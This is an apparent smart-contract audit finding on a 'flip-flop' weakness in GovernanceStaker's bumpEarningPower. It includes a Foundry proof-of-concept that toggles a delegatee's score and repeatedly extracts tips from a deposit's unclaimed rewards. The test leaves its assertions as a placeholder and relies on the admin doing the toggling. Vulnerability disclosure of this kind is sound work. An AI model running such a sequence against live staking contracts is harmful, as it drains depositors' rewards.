Magic Eggshell Stallion
Medium
https://github.com/withtally/staker/blob/90802966475239c3eb8aafc3dbf18edd5a0b6b1b/src/GovernanceStaker.sol#L471-L514
The bumpEarningPower
function within the GovernanceStaker contract is susceptible to a Flip-Flop Attack that can be exploited to drain unclaimed rewards from user deposits. This vulnerability arises when an attacker manipulates the eligibility status of a deposit's delegatee, causing the deposit's earningPower
to oscillate between eligible and ineligible states. Each transition that qualifies for a bump allows the attacker to extract a predefined tip (_requestedTip
) from the deposit's unclaimed rewards.
While each individual extraction may be small, the cumulative effect of repeated exploit attempts can lead to significant drainage of a user's unclaimed rewards. This undermines the protocol's fairness and reliability, potentially eroding user trust and financial security within the staking ecosystem. Given that the unclaimed rewards are integral to the staking incentives, this vulnerability poses a medium-level risk that necessitates prompt mitigation to preserve the protocol's integrity and user confidence.
The vulnerability stems from the bumpEarningPower
function's ability to allow external actors to repeatedly extract tips from a deposit's unclaimed rewards whenever the deposit's earningPower
transitions between eligible and ineligible states. This "flip-flop" behavior can be exploited to drain accumulated rewards over multiple cycles.
function bumpEarningPower(
DepositIdentifier _depositId,
address _tipReceiver,
uint256 _requestedTip
) external virtual {
// ... [other logic]
(uint256 _newEarningPower, bool _isQualifiedForBump) =
earningPowerCalculator.getNewEarningPower(
deposit.balance,
deposit.owner,
deposit.delegatee,
deposit.earningPower
);
// ... [additional checks]
// Subtract _requestedTip from deposit's unclaimed rewards
deposit.scaledUnclaimedRewardCheckpoint -= (_requestedTip * SCALE_FACTOR);
// ... [transfer the tip to the bumper]
}
Explanation:
-
Earning Power Calculation: The function retrieves the new earning power and determines if the bump qualifies (
_isQualifiedForBump
) based on the delegatee's current eligibility score. -
Tip Extraction: If qualified, the function subtracts the
_requestedTip
from the deposit'sscaledUnclaimedRewardCheckpoint
, effectively siphoning a portion of the user's unclaimed rewards. -
Potential for Repeated Exploitation: By toggling the delegatee's eligibility status, an attacker can repeatedly trigger qualifying conditions, each time extracting a tip from the unclaimed rewards.
function testFlipFlopAttack() public {
// Simulate passage of time to accumulate rewards
skip(10 days);
// Toggle delegatee score below threshold to make deposit ineligible
vm.startPrank(admin);
calculator.updateDelegateeScore(address(222), 49); // Below eligibility threshold
vm.stopPrank();
// Malicious bumper calls bumpEarningPower to extract a tip
vm.startPrank(maliciousBumper);
uint256 requestedTip = 3e18;
staker.bumpEarningPower(depositId, maliciousBumper, requestedTip);
vm.stopPrank();
// Toggle delegatee score above threshold to make deposit eligible again
vm.startPrank(admin);
calculator.updateDelegateeScore(address(222), 51); // Above eligibility threshold
vm.stopPrank();
// Malicious bumper calls bumpEarningPower again to extract another tip
vm.startPrank(maliciousBumper);
staker.bumpEarningPower(depositId, maliciousBumper, requestedTip);
vm.stopPrank();
// Repeat the toggle and extraction multiple times
for (uint i = 0; i < 3; i++) {
vm.prank(admin);
calculator.updateDelegateeScore(address(222), 49); // Ineligible
vm.prank(maliciousBumper);
staker.bumpEarningPower(depositId, maliciousBumper, requestedTip);
vm.prank(admin);
calculator.updateDelegateeScore(address(222), 51); // Eligible
vm.prank(maliciousBumper);
staker.bumpEarningPower(depositId, maliciousBumper, requestedTip);
}
// Assert that the unclaimed rewards have been drained appropriately
// [Assertions would go here]
}
Explanation:
-
Reward Accumulation: The test advances the blockchain time to allow the deposit to accrue rewards.
-
Delegatee Score Manipulation: The admin toggles the delegatee's score below and above the eligibility threshold, making the deposit ineligible and then eligible.
-
Tip Extraction by Bumper: Each time the deposit becomes eligible, the malicious bumper calls
bumpEarningPower
to extract a tip from the unclaimed rewards. -
Repetition of the Process: By looping the toggle and extraction process, the attacker can repeatedly drain the deposit's unclaimed rewards.
- Manual Review
- Foundry
To mitigate the identified vulnerability and strengthen the protocol's security, the following measures are recommended:
- Rate-Limiting Bumps:
- Implementation: Introduce a restriction that limits the frequency at which
bumpEarningPower
can be called for a specific deposit. For instance, allow only one bump per defined time window (e.g., once every 24 hours). - Benefit: Prevents attackers from rapidly extracting tips through frequent state toggling.
- Implementation: Introduce a restriction that limits the frequency at which